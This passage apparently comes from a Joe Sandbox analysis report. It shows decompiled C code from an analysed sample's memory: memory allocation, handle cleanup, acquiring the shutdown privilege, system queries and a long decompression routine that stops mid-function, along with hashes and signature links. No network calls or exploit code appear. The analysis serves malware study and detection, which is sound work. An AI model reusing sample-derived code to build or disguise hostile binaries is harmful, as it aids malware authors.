				_push(E00406E6D);
				_t4 = SetErrorMode( *(_t8 - 0xc)); // executed
				return _t4;
			}

0x00406e51
0x00406e54
0x00406e57
0x00406e60
0x00406e65

APIs

SetErrorMode.KERNEL32(?,00406E6D), ref: 00406E60

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: a56ca0b8faf8d1e330e126b017f71b34cc6a81dc34f8c707e1e286838e3cde92
Instruction ID: c16e80c3071607a55ceed432c86fff4652f516d6b34bf8a23abf834d9a37f925
Opcode Fuzzy Hash: a56ca0b8faf8d1e330e126b017f71b34cc6a81dc34f8c707e1e286838e3cde92
Instruction Fuzzy Hash: 4DB09B7A70C3006FE705ABA5FC1142863D4D7C4B107E24877F110D25C1D53C54104618

Uniqueness

Uniqueness Score: -1.00%

Function 00406E6B Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406E6B() {
				int _t3;
				void* _t4;

				_t3 = SetErrorMode( *(_t4 - 0xc)); // executed
				return _t3;
			}

0x00406e60
0x00406e65

APIs

SetErrorMode.KERNEL32(?,00406E6D), ref: 00406E60

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: afb7a3705be87c655b88a01161792b2ff533eda17e129e871f6243dd462d7bce
Instruction ID: daf783ab61578579cf625219c76c2fc0142693dae816566a5d16650f7a9fa9bd
Opcode Fuzzy Hash: afb7a3705be87c655b88a01161792b2ff533eda17e129e871f6243dd462d7bce
Instruction Fuzzy Hash: FDA022ACC00300B3CE00B3E8C83082C23282A88F003E208AA3322B20C0C03E80000208

Uniqueness

Uniqueness Score: -1.00%

Function 004015C4 Relevance: 1.3, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004015C4(signed int __eax, void** __ecx, intOrPtr __edx) {
				signed int _v20;
				void** _v24;
				void* _t15;
				void** _t16;
				void* _t17;
				signed int _t27;
				intOrPtr* _t29;
				void* _t31;
				intOrPtr* _t32;

				_v24 = __ecx;
				 *_t32 = __edx;
				_t31 = __eax & 0xfffff000;
				_v20 = __eax +  *_t32 + 0x00000fff & 0xfffff000;
				 *_v24 = _t31;
				_t15 = _v20 - _t31;
				_v24[1] = _t15;
				_t29 =  *0x40b43c; // 0x40b43c
				while(_t29 != 0x40b43c) {
					_t7 = _t29 + 8; // 0x0
					_t17 =  *_t7;
					_t8 = _t29 + 0xc; // 0x0
					_t27 =  *_t8 + _t17;
					if(_t31 > _t17) {
						_t17 = _t31;
					}
					if(_t27 > _v20) {
						_t27 = _v20;
					}
					if(_t27 > _t17) {
						_t15 = VirtualAlloc(_t17, _t27 - _t17, 0x1000, 4); // executed
						if(_t15 == 0) {
							_t16 = _v24;
							 *_t16 = 0;
							return _t16;
						}
					}
					_t29 =  *_t29;
				}
				return _t15;
			}

0x004015cb
0x004015cf
0x004015d6
0x004015eb
0x004015f3
0x004015f9
0x004015ff
0x00401602
0x00401646
0x0040160a
0x0040160a
0x0040160d
0x00401610
0x00401614
0x00401616
0x00401616
0x0040161c
0x0040161e
0x0040161e
0x00401624
0x00401631
0x00401638
0x0040163a
0x00401640
0x00000000
0x00401640
0x00401638
0x00401644
0x00401644
0x00401655

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00401631

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: cc502ff02348c5ca14464282c50bf6d9044616516d427296b297e1b86820bb76
Instruction ID: 8a4128db402ff564317842b1528136efc943efb3ec0006f7d13b38747f41841c
Opcode Fuzzy Hash: cc502ff02348c5ca14464282c50bf6d9044616516d427296b297e1b86820bb76
Instruction Fuzzy Hash: 41113CB2A057019FC3109F29CD80A1BB7E5EBC4760F19C93DE598A73A5D736AC408699

Uniqueness

Uniqueness Score: -1.00%

Function 00401658 Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00401658(void* __eax, void** __ecx, void* __edx) {
				int _t7;
				void* _t9;
				signed int _t14;
				intOrPtr* _t19;
				signed int _t22;
				void** _t23;

				_push(__ecx);
				 *_t23 = __eax + 0x00000fff & 0xfffff000;
				_t22 = __eax + __edx & 0xfffff000;
				 *__ecx =  *_t23;
				_t7 = _t22 -  *_t23;
				__ecx[1] = _t7;
				_t19 =  *0x40b43c; // 0x40b43c
				while(_t19 != 0x40b43c) {
					_t2 = _t19 + 8; // 0x0
					_t9 =  *_t2;
					_t3 = _t19 + 0xc; // 0x0
					_t14 =  *_t3 + _t9;
					if(_t9 <  *_t23) {
						_t9 =  *_t23;
					}
					if(_t22 < _t14) {
						_t14 = _t22;
					}
					if(_t14 > _t9) {
						_t7 = VirtualFree(_t9, _t14 - _t9, 0x4000); // executed
						if(_t7 == 0) {
							 *0x40b418 = 2;
						}
					}
					_t19 =  *_t19;
				}
				return _t7;
			}

0x0040165c
0x0040166d
0x00401674
0x0040167d
0x00401681
0x00401684
0x00401687
0x004016c7
0x0040168f
0x0040168f
0x00401692
0x00401695
0x0040169a
0x0040169c
0x0040169c
0x004016a1
0x004016a3
0x004016a3
0x004016a7
0x004016b2
0x004016b9
0x004016bb
0x004016bb
0x004016b9
0x004016c5
0x004016c5
0x004016d4

APIs

VirtualFree.KERNEL32(00000000,00000000,00004000,?,?,?,?,?,004018BF), ref: 004016B2

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: cb90924cff6733cc6eacdcc881367b727e1878aa05a1c28612b22713fd768cab
Instruction ID: 16a4501794763894d112e8f61db517d820fca643a48b443a7e05d48f47cfc21a
Opcode Fuzzy Hash: cb90924cff6733cc6eacdcc881367b727e1878aa05a1c28612b22713fd768cab
Instruction Fuzzy Hash: B501A7726443144BC310AF28DDC092A77D5DB85364F19497ED985B73A2D33B6C0587EC

Uniqueness

Uniqueness Score: -1.00%

Function 0040720A Relevance: 1.3, APIs: 1, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040720A(void* __eax, void* __edx) {
				void* _t11;
				void* _t14;

				_t11 = __edx;
				_t14 = __eax;
				if( *((char*)(__eax + 8)) != 0) {
					CloseHandle( *(__eax + 4)); // executed
				}
				E00402918(0);
				if(_t11 != 0) {
					E00402B04(_t14);
				}
				return _t14;
			}

0x0040720e
0x00407210
0x00407216
0x0040721c
0x0040721c
0x00407225
0x0040722c
0x00407230
0x00407230
0x00407239

APIs

CloseHandle.KERNEL32(?), ref: 0040721C

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: e00d840cbfc5ea24e9f986c1a7855b527cb7041839e6c9887e7e6ca8da466a72
Instruction ID: 85bc6db19389d6a952aef3f805f65b257ae3a7b44276564e27daf6f5ee319632
Opcode Fuzzy Hash: e00d840cbfc5ea24e9f986c1a7855b527cb7041839e6c9887e7e6ca8da466a72
Instruction Fuzzy Hash: 69D02E81B00A6017E311F6FF088875682C84F88644B08847EFA48E33C1D67CEC01838A

Uniqueness

Uniqueness Score: -1.00%

Function 00407BC4 Relevance: 1.3, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407BC4(void* __eax) {
				void* _t8;
				void* _t11;

				_t11 = __eax;
				 *((intOrPtr*)(__eax + 0x18)) = 0;
				 *((intOrPtr*)(__eax + 0x20)) = 0;
				_t8 =  *(__eax + 0x1c);
				if(_t8 != 0) {
					VirtualFree(_t8, 0, 0x8000); // executed
					 *((intOrPtr*)(_t11 + 0x1c)) = 0;
					return 0;
				}
				return _t8;
			}

0x00407bc5
0x00407bc9
0x00407bce
0x00407bd1
0x00407bd6
0x00407be0
0x00407be7
0x00000000
0x00407be7
0x00407beb

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,00407D01), ref: 00407BE0

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: bbebfbd3f2e0ee76b194d8dca6bfc3418916f620836008a8be59738a7b03f453
Instruction ID: 2a6adca33b943734a4b37ef61053050b2fe8d794beb6ab185d3a086b925497b7
Opcode Fuzzy Hash: bbebfbd3f2e0ee76b194d8dca6bfc3418916f620836008a8be59738a7b03f453
Instruction Fuzzy Hash: B5D09EB1B142005FDB94DF794CC1B0336D87B08600B2184766908DB286F774E5108B58

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040910C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040910C() {
				intOrPtr _v4;
				struct _TOKEN_PRIVILEGES _v16;
				void* _v20;
				long _t6;

				if( *0x40a07c == 2) {
					if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v20) == 0) {
						return E004090EC();
					}
					LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v16.Privileges));
					_v16.PrivilegeCount = 1;
					_v4 = 2;
					AdjustTokenPrivileges(_v20, 0,  &_v16, 0, 0, 0);
					_t6 = GetLastError();
					if(_t6 != 0) {
						return E004090EC();
					}
				}
				_push(0);
				_push(2);
				L004045C0();
				if(_t6 == 0) {
					return E004090EC();
				}
				return _t6;
			}

0x00409116
0x00409128
0x00000000
0x0040912a
0x0040913d
0x00409142
0x0040914a
0x00409164
0x00409169
0x00409170
0x00000000
0x00409172
0x00409170
0x00409179
0x0040917b
0x0040917d
0x00409184
0x00000000
0x00409186
0x0040918e

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 0040911B
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 00409121
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 0040913D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 00409164
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00409169

Part of subcall function 004090EC: MessageBoxA.USER32 ref: 00409106

6CBC4E70.USER32(00000002,00000000), ref: 0040917D

Strings

SeShutdownPrivilege, xrefs: 00409136

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorLastLookupMessageOpenPrivilegePrivilegesValue
String ID: SeShutdownPrivilege
API String ID: 3685916817-3733053543
Opcode ID: 766c9eae409e4428d95651925f21777e1d2dbafd31ccba6e4e2cdc7febf8915c
Instruction ID: 1409d14ab55289f2435dae64a009ab5e175d67aad5efb1a6462be2348c7f8ed4
Opcode Fuzzy Hash: 766c9eae409e4428d95651925f21777e1d2dbafd31ccba6e4e2cdc7febf8915c
Instruction Fuzzy Hash: 81F0E170784303B5F610B6A28D0BF1B619C5B94708F50843FBA54B91C3D67D9C04866F

Uniqueness

Uniqueness Score: -1.00%

Function 00405224 Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00405224(int __eax, char __ecx, int __edx) {
				char _v16;
				char _t5;
				char _t6;

				_push(__ecx);
				_t6 = __ecx;
				if(GetLocaleInfoA(__eax, __edx,  &_v16, 2) <= 0) {
					_t5 = _t6;
				} else {
					_t5 = _v16;
				}
				return _t5;
			}

0x00405227
0x00405228
0x0040523e
0x00405245
0x00405240
0x00405240
0x00405240
0x0040524b

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,00405426,?,?,?,00000000,004055D8), ref: 00405237

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: eb3e0916f1d71d5523292608d7c4fdaba2307163a6013ecd43750e715832a1e9
Instruction ID: f191d8b0d38a375b14df503665a713a894c54af53dc9b6ff6a74be687c9ceae4
Opcode Fuzzy Hash: eb3e0916f1d71d5523292608d7c4fdaba2307163a6013ecd43750e715832a1e9
Instruction Fuzzy Hash: FDD05E7630D2502AE224559B2D85EBB4B9CCEC57A4F14407EF698D6241D2248C069F75

Uniqueness

Uniqueness Score: -1.00%

Function 004026C4 Relevance: 1.5, APIs: 1, Instructions: 20
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004026C4() {
				void* _v14;
				void* _v16;
				struct _SYSTEMTIME _v28;
				signed int _t13;

				GetSystemTime( &_v28);
				_t13 = ((_v28.wHour & 0x0000ffff) * 0x3c + _v28.wMinute) * 0x3c * 0x3e8;
				 *0x40b02c = _t13;
				return _t13;
			}

0x004026ce
0x004026f3
0x004026f5
0x004026fe

APIs

GetSystemTime.KERNEL32(?), ref: 004026CE

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: SystemTime
String ID:
API String ID: 2656138-0
Opcode ID: ea6675ebeb63a0a9a47573394461451ad3244f368073b02e8c46e04122ef07d3
Instruction ID: 2fd9a68c0dbde603d2fbf043753412ebb29498d380aade495149b20e3fa82795
Opcode Fuzzy Hash: ea6675ebeb63a0a9a47573394461451ad3244f368073b02e8c46e04122ef07d3
Instruction Fuzzy Hash: 4FE04F21E0010A42C704ABA5CD435FDF7AEEB95600B044172A418E92E0F631C251C788

Uniqueness

Uniqueness Score: -1.00%

Function 00405CC0 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CC0() {
				intOrPtr _v132;
				int _t2;
				intOrPtr _t3;
				struct _OSVERSIONINFOA* _t4;

				_t4->dwOSVersionInfoSize = 0x94;
				_t2 = GetVersionExA(_t4);
				if(_t2 != 0) {
					_t3 = _v132;
					 *0x40a07c = _t3;
					return _t3;
				}
				return _t2;
			}

0x00405cc6
0x00405cce
0x00405cd5
0x00405cd7
0x00405cdb
0x00000000
0x00405cdb
0x00405ce6

APIs

GetVersionExA.KERNEL32(?,004065BC,00000000,004065CA,?,?,?,?,?,00409840), ref: 00405CCE

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: c32652c1b1593bb30748bbc4056ea64814b159bbfb85160acb9b97b753e4a0b1
Instruction ID: 738d4c6cecaf4369c0bc5e2911b44b455e14ff8adc38ffec7b6cb45b6c001f0b
Opcode Fuzzy Hash: c32652c1b1593bb30748bbc4056ea64814b159bbfb85160acb9b97b753e4a0b1
Instruction Fuzzy Hash: FEC0126040470147E3105F319C01A1632D46744314F840539A9A4A13D1D77C80118A9A

Uniqueness

Uniqueness Score: -1.00%

Function 00408280 Relevance: .5, Instructions: 487
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E00408280(void* __eax, intOrPtr __ecx, intOrPtr __edx, intOrPtr* _a4) {
				void* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _v24;
				char _v25;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				char* _v72;
				intOrPtr _v76;
				char _v80;
				signed int _v84;
				char _v85;
				char _v92;
				signed int _v96;
				signed int _v100;
				char* _v104;
				signed int _v108;
				signed int _v112;
				void _v132;
				intOrPtr _v148;
				signed int _t306;
				void* _t311;
				signed int _t313;
				signed int _t317;
				void* _t325;
				signed int _t329;
				signed int _t334;
				intOrPtr _t350;
				signed int _t361;
				signed int _t365;
				intOrPtr _t374;
				intOrPtr _t376;
				void* _t389;
				signed int _t399;
				char _t401;
				signed int _t405;
				void* _t415;
				void* _t424;
				void* _t431;
				signed int _t505;
				signed int _t526;
				intOrPtr _t530;
				signed int _t532;
				intOrPtr _t534;
				signed int _t535;
				signed int _t539;
				void* _t541;
				intOrPtr* _t542;

				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_v20 = _v8;
				_v24 = _v8 + 0x58;
				memcpy( &_v132, _v20, 7 << 2);
				_t542 = _t541 + 0xc;
				_t405 =  *(_v20 + 0x4c);
				_t532 =  *((intOrPtr*)(_v20 + 0x30));
				_v32 =  *((intOrPtr*)(_v20 + 0x34));
				_v36 =  *((intOrPtr*)(_v20 + 0x38));
				_v40 =  *((intOrPtr*)(_v20 + 0x3c));
				_v44 = 0;
				_v48 = (1 <<  *(_v20 + 0x48)) - 1;
				_v52 = (1 <<  *(_v20 + 0x44)) - 1;
				_v56 =  *((intOrPtr*)(_v20 + 0x40));
				_v60 =  *(_v20 + 0x50);
				_t415 = _v20;
				_v68 =  *((intOrPtr*)(_t415 + 0x28));
				_v64 =  *((intOrPtr*)(_t415 + 0x2c));
				_v72 =  *((intOrPtr*)(_v20 + 0x1c));
				_v76 =  *((intOrPtr*)(_v20 + 0x20));
				_t526 =  *((intOrPtr*)(_v20 + 0x24));
				if(_v76 == 0) {
					_v72 =  &_v80;
					_v76 = 1;
					_v80 =  *((intOrPtr*)(_v20 + 0x54));
				}
				if(_v60 == 0xffffffff) {
					 *_a4 = 0;
					return 0;
				}
				_v104 = _v12 + _v44;
				while(1) {
					__eflags = _v60;
					if(_v60 == 0) {
						break;
					}
					__eflags = _v44 - _v16;
					if(_v44 < _v16) {
						_t399 = _t526 - _t532;
						__eflags = _t399 - _v76;
						if(_t399 >= _v76) {
							_t399 = _t399 + _v76;
							__eflags = _t399;
						}
						_t401 =  *((intOrPtr*)(_v72 + _t399));
						 *((char*)(_v72 + _t526)) = _t401;
						 *_v104 = _t401;
						_v44 = _v44 + 1;
						_v104 = _v104 + 1;
						_t526 = _t526 + 1;
						__eflags = _t526 - _v76;
						if(_t526 == _v76) {
							_t526 = 0;
							__eflags = 0;
						}
						_t75 =  &_v60;
						 *_t75 = _v60 - 1;
						__eflags =  *_t75;
						continue;
					}
					break;
				}
				__eflags = _t526;
				if(_t526 != 0) {
					_v25 =  *((intOrPtr*)(_v72 + _t526 - 1));
				} else {
					_v25 =  *((intOrPtr*)(_v72 + _v76 - 1));
				}
				__eflags = 0;
				 *_a4 = 0;
				while(1) {
					L16:
					_v104 = _v12 + _v44;
					__eflags = _v44 - _v16;
					if(_v44 >= _v16) {
						break;
					} else {
						goto L17;
					}
					while(1) {
						L17:
						_v84 = _v68 + _v44 & _v48;
						__eflags = _v112;
						if(_v112 != 0) {
							break;
						}
						__eflags = _v108;
						if(_v108 == 0) {
							_t306 = E00407F9C((_t405 << 4) + (_t405 << 4) + _v24 + _v84 + _v84,  &_v132);
							__eflags = _t306;
							if(_t306 != 0) {
								_t311 = E00407F9C(_t405 + _t405 + _v24 + 0x180,  &_v132);
								__eflags = _t311 != 1;
								if(_t311 != 1) {
									_v40 = _v36;
									_v36 = _v32;
									_v32 = _t532;
									__eflags = _t405 - 7;
									if(__eflags >= 0) {
										_t313 = 0xa;
									} else {
										_t313 = 7;
									}
									_t405 = _t313;
									_v60 = E0040814C(_v24 + 0x664, _v84,  &_v132, __eflags);
									_t431 =  &_v132;
									__eflags = _v60 - 4;
									if(_v60 >= 4) {
										_t317 = 3;
									} else {
										_t317 = _v60;
									}
									_v96 = E00408024((_t317 << 6) + (_t317 << 6) + _v24 + 0x360, _t431, 6);
									__eflags = _v96 - 4;
									if(_v96 < 4) {
										_t535 = _v96;
									} else {
										_v100 = (_v96 >> 1) - 1;
										_t449 = _v100;
										_t539 = (_v96 & 0x00000001 | 0x00000002) << _v100;
										__eflags = _v96 - 0xe;
										if(_v96 >= 0xe) {
											_t334 = E00407F3C( &_v132, _t449, _v100 + 0xfffffffc);
											_t535 = _t539 + (_t334 << 4) + E00408068(_v24 + 0x644,  &_v132, 4);
										} else {
											_t535 = _t539 + E00408068(_t539 + _t539 + _v24 + 0x560 - _v96 + _v96 + 0xfffffffe,  &_v132, _v100);
										}
									}
									_t532 = _t535 + 1;
									__eflags = _t532;
									L71:
									__eflags = _t532;
									if(_t532 != 0) {
										_push(0);
										_push(_t532);
										_t325 = _v44 + _v68;
										asm("adc edx, [ebp-0x3c]");
										__eflags = 0 - _v148;
										if(__eflags == 0) {
											__eflags = _t325 -  *_t542;
										}
										if(__eflags < 0) {
											L77:
											return 1;
										} else {
											__eflags = _t532 - _v76;
											if(_t532 <= _v76) {
												_t212 =  &_v60;
												 *_t212 = _v60 + 2;
												__eflags =  *_t212;
												while(1) {
													_t329 = _t526 - _t532;
													__eflags = _t329 - _v76;
													if(_t329 >= _v76) {
														_t329 = _t329 + _v76;
														__eflags = _t329;
													}
													_v25 =  *((intOrPtr*)(_v72 + _t329));
													 *((char*)(_v72 + _t526)) = _v25;
													_t526 = _t526 + 1;
													__eflags = _t526 - _v76;
													if(_t526 == _v76) {
														_t526 = 0;
														__eflags = 0;
													}
													 *_v104 = _v25;
													_v44 = _v44 + 1;
													_v104 = _v104 + 1;
													_v60 = _v60 - 1;
													__eflags = _v60;
													if(_v60 == 0) {
														break;
													}
													__eflags = _v44 - _v16;
													if(_v44 < _v16) {
														continue;
													}
													break;
												}
												L85:
												__eflags = _v44 - _v16;
												if(_v44 < _v16) {
													continue;
												}
												goto L86;
											}
											goto L77;
										}
									}
									_v60 = 0xffffffff;
									goto L86;
								}
								_t350 = E00407F9C(_t405 + _t405 + _v24 + 0x198,  &_v132);
								__eflags = _t350;
								if(_t350 != 0) {
									__eflags = E00407F9C(_t405 + _t405 + _v24 + 0x1b0,  &_v132);
									if(__eflags != 0) {
										__eflags = E00407F9C(_t405 + _t405 + _v24 + 0x1c8,  &_v132);
										if(__eflags != 0) {
											_t361 = _v40;
											_v40 = _v36;
										} else {
											_t361 = _v36;
										}
										_v36 = _v32;
									} else {
										_t361 = _v32;
									}
									_v32 = _t532;
									_t532 = _t361;
									L55:
									_v60 = E0040814C(_v24 + 0xa68, _v84,  &_v132, __eflags);
									__eflags = _t405 - 7;
									if(_t405 >= 7) {
										_t365 = 0xb;
									} else {
										_t365 = 8;
									}
									_t405 = _t365;
									goto L71;
								}
								__eflags = E00407F9C((_t405 << 4) + (_t405 << 4) + _v24 + _v84 + _v84 + 0x1e0,  &_v132);
								if(__eflags != 0) {
									goto L55;
								}
								_t374 = _v44 + _v68;
								asm("adc edx, [ebp-0x3c]");
								__eflags = 0;
								if(0 != 0) {
									L40:
									__eflags = _t405 - 7;
									if(_t405 >= 7) {
										_t505 = 0xb;
									} else {
										_t505 = 9;
									}
									_t405 = _t505;
									_t376 = _t526 - _t532;
									__eflags = _t376 - _v76;
									if(_t376 >= _v76) {
										_t376 = _t376 + _v76;
										__eflags = _t376;
									}
									_v25 =  *((intOrPtr*)(_v72 + _t376));
									 *((char*)(_v72 + _t526)) = _v25;
									_t526 = _t526 + 1;
									__eflags = _t526 - _v76;
									if(_t526 == _v76) {
										_t526 = 0;
										__eflags = 0;
									}
									 *_v104 = _v25;
									_v44 = _v44 + 1;
									goto L16;
								}
								__eflags = _t374;
								if(_t374 != 0) {
									goto L40;
								}
								return 1;
							}
							_t389 = (((_v68 + _v44 & _v52) << _v56) + (0 >> 8 - _v56) << 8) + (((_v68 + _v44 & _v52) << _v56) + (0 >> 8 - _v56) << 8) * 2 + (((_v68 + _v44 & _v52) << _v56) + (0 >> 8 - _v56) << 8) + (((_v68 + _v44 & _v52) << _v56) + (0 >> 8 - _v56) << 8) * 2 + _v24 + 0xe6c;
							__eflags = _t405 - 7;
							if(__eflags < 0) {
								_v25 = E004080AC(_t389,  &_v132, __eflags);
							} else {
								_v92 = _t526 - _t532;
								__eflags = _v92 - _v76;
								if(__eflags >= 0) {
									_t119 =  &_v92;
									 *_t119 = _v92 + _v76;
									__eflags =  *_t119;
								}
								_v85 =  *((intOrPtr*)(_v72 + _v92));
								_v25 = E004080D8(_t389, _v85,  &_v132, __eflags);
							}
							 *_v104 = _v25;
							_v44 = _v44 + 1;
							_v104 = _v104 + 1;
							 *((char*)(_v72 + _t526)) = _v25;
							_t526 = _t526 + 1;
							__eflags = _t526 - _v76;
							if(_t526 == _v76) {
								_t526 = 0;
								__eflags = 0;
							}
							__eflags = _t405 - 4;
							if(_t405 >= 4) {
								__eflags = _t405 - 0xa;
								if(_t405 >= 0xa) {
									_t405 = _t405 - 6;
								} else {
									_t405 = _t405 - 3;
								}
							} else {
								_t405 = 0;
							}
							goto L85;
						}
						return 1;
					}
					return _v112;
				}
				L86:
				memcpy(_v20,  &_v132, 7 << 2);
				_t530 = _t526;
				_t534 = _t532;
				 *((intOrPtr*)(_v20 + 0x24)) = _t530;
				_t424 = _v20;
				asm("adc edx, [ebp-0x3c]");
				 *((intOrPtr*)(_t424 + 0x28)) = _v44 + _v68;
				 *((intOrPtr*)(_t424 + 0x2c)) = 0;
				 *((intOrPtr*)(_v20 + 0x30)) = _t534;
				 *((intOrPtr*)(_v20 + 0x34)) = _v32;
				 *((intOrPtr*)(_v20 + 0x38)) = _v36;
